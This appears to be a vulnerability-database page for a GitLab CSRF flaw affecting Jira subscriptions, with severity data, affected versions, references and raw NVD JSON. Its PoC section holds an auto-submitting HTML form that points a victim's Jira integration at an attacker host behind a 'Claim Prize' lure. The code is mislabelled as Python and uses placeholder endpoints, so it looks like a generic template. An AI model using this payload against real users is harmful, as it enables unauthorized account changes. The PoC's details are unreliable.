CVE-2026-4527

Description

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 11.10 before 18.9.7, 18.10 before 18.10.6, and 18.11 before 18.11.3 that could have allowed an unauthenticated user to create unauthorized Jira subscriptions for a targeted user's namespace via a specially crafted link due to missing CSRF protection.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

GitLab CE/EE >= 11.10, < 18.9.7

GitLab CE/EE >= 18.10, < 18.10.6

GitLab CE/EE >= 18.11, < 18.11.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-4527 CSRF -->
<!-- Description: This HTML snippet demonstrates how an attacker could create unauthorized Jira subscriptions via CSRF. -->

<html>
  <body>
    <!-- The form targets the vulnerable endpoint on the victim's GitLab instance -->
    <form action="https://<TARGET_GITLAB_URL>/<VULNERABLE_ENDPOINT>" method="POST">
      
      <!-- Input fields simulating the Jira subscription parameters -->
      <input type="hidden" name="jira_integration[url]" value="http://attacker-controlled-jira.com" />
      <input type="hidden" name="namespace_id" value="<TARGET_NAMESPACE_ID>" />
      <input type="hidden" name="commit" value="Save changes" />
      
      <!-- In a real attack, this would be hidden or auto-submitted via JS -->
      <input type="submit" value="Click to Claim Prize" />
    </form>

    <script>
      // Auto-submit the form to minimize user interaction requirement
      document.forms[0].submit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-4527
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-4527
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-4527/
[4] VulDB https://vuldb.com/cve/CVE-2026-4527
[5] https://about.gitlab.com/releases/2026/05/13/patch-release-gitlab-18-11-3-released/
[6] https://gitlab.com/gitlab-org/gitlab/-/work_items/594339
[7] https://hackerone.com/reports/3590487

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-4527", "sourceIdentifier": "[email protected]", "published": "2026-05-14T06:16:23.810", "lastModified": "2026-05-14T16:20:43.240", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 11.10 before 18.9.7, 18.10 before 18.10.6, and 18.11 before 18.11.3 that could have allowed an unauthenticated user to create unauthorized Jira subscriptions for a targeted user's namespace via a specially crafted link due to missing CSRF protection."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://about.gitlab.com/releases/2026/05/13/patch-release-gitlab-18-11-3-released/", "source": "[email protected]"}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/594339", "source": "[email protected]"}, {"url": "https://hackerone.com/reports/3590487", "source": "[email protected]"}]}}